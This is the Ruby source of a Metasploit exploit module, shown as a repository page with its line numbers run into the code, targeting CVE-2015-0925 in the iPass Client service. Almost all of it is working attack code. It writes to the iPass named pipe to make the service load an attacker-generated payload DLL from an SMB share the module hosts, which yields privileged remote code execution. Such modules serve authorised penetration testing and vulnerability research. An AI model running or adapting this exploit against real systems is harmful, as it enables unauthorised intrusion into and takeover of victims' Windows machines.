Path: blob/master/modules/exploits/windows/smb/ipass_pipe_exec.rb
32082 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SMB::Client::Authenticated9include Msf::Exploit::Remote::SMB::Server::Share10include Msf::Exploit::EXE1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'IPass Control Pipe Remote Command Execution',17'Description' => %q{18This module exploits a vulnerability in the IPass Client service. This service provides a19named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused20to force the service to load a DLL from a SMB share.21},22'Author' => [23'Matthias Kaiser', # Vulnerability discovery24'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module25],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '2015-0925' ],29[ 'OSVDB', '117423' ],30[ 'BID', '72265' ],31[ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ],32[ 'ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES ],33],34'DefaultOptions' => {35'EXITFUNC' => 'process',36},37'Payload' => {38'Space' => 2048,39'DisableNops' => true40},41'Platform' => 'win',42'Targets' => [43[ 'Windows x32', { 'Arch' => ARCH_X86 } ],44[ 'Windows x64', { 'Arch' => ARCH_X64 } ]45],46'Privileged' => true,47'DisclosureDate' => '2015-01-21',48'DefaultTarget' => 0,49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options(58[59OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])60]61)6263deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')64end6566def check67echo_value = rand_text_alphanumeric(rand(10) + 10)6869begin70response = send_command("System.Echo #{echo_value}")71if response =~ Regexp.new(echo_value)72return Exploit::CheckCode::Vulnerable73else74return Exploit::CheckCode::Unknown75end76rescue Rex::ConnectionError => e77vprint_error("Connection failed: #{e.class}: #{e}")78return Msf::Exploit::CheckCode::Unknown79rescue Rex::Proto::SMB::Exceptions::LoginError => e80vprint_error("Error during login: #{e}")81return Msf::Exploit::CheckCode::Unknown82rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e83vprint_error(e.to_s)84return Msf::Exploit::CheckCode::Unknown85end86end8788def setup89super90self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"91self.share = Rex::Text.rand_text_alpha(5)92end9394def primer95self.file_contents = generate_payload_dll96print_status("File available on #{unc}...")97send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}")98end99100def send_command(command)101# The connection is closed after each command, so we have to reopen it102connect103smb_login104pipe = simple.create_pipe('\\IPEFSYSPCPIPE')105pipe.write(Rex::Text.to_unicode(command))106response = Rex::Text.to_ascii(pipe.read)107108response109end110111def exploit112begin113Timeout.timeout(datastore['SMB_DELAY']) { super }114rescue Timeout::Error115# do nothing... just finish exploit and stop smb server...116end117end118end119120121